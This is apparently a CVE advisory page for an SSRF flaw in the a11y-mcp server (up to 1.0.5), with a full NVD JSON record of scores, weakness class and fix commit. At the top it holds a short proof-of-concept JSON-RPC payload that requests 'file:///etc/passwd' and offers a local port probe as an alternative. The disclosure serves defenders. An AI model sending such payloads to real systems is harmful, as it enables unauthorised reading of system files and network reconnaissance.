CVE-2026-5323

// Conceptual PoC for CVE-2026-5323 // Target: priyankark a11y-mcp (<= 1.0.5) // This demonstrates how a malicious payload could be sent to the vulnerable A11yServer function. const maliciousPayload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", // Hypothetical method based on MCP structure "params": { "name": "check_accessibility", "arguments": { "url": "file:///etc/passwd" // Attempting to read local files via SSRF // Alternative: "url": "http://127.0.0.1:22" to scan local ports } } }; // The attacker sends this JSON object to the stdio input of the a11y-mcp process. // If vulnerable, the server will process the URL and return the content of /etc/passwd.

{"cve": {"id": "CVE-2026-5323", "sourceIdentifier": "[email protected]", "published": "2026-04-02T07:15:58.793", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in priyankark a11y-mcp up to 1.0.5. This vulnerability affects the function A11yServer of the file src/index.js. The manipulation results in server-side request forgery. The attack must be initiated from a local position. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. Upgrading to version 1.0.6 is able to resolve this issue. The patch is identified as e3e11c9e8482bd06b82fd9fced67be4856f0dffc. It is recommended to upgrade the affected component. The vendor acknowledged the issue but provides additional context for the CVSS rating: \"a11y-mcp is a local stdio MCP server - it has no HTTP endpoint and is not network-accessible. The caller is always the local user or an LLM acting on their behalf with user approval.\""}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/priyankark/a11y-mcp/", "source": "[email protected]"}, {"url": "https://github.com/priyankark/a11y-mcp/commit/e3e11c9e8482bd06b82fd9fced67be4856f0dffc", "source": "[email protected]"}, {"url": "https://github.com/wing3e/public_exp/issues/17", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/780752", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354655", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354655/cti", "source": "[email protected]"}]}}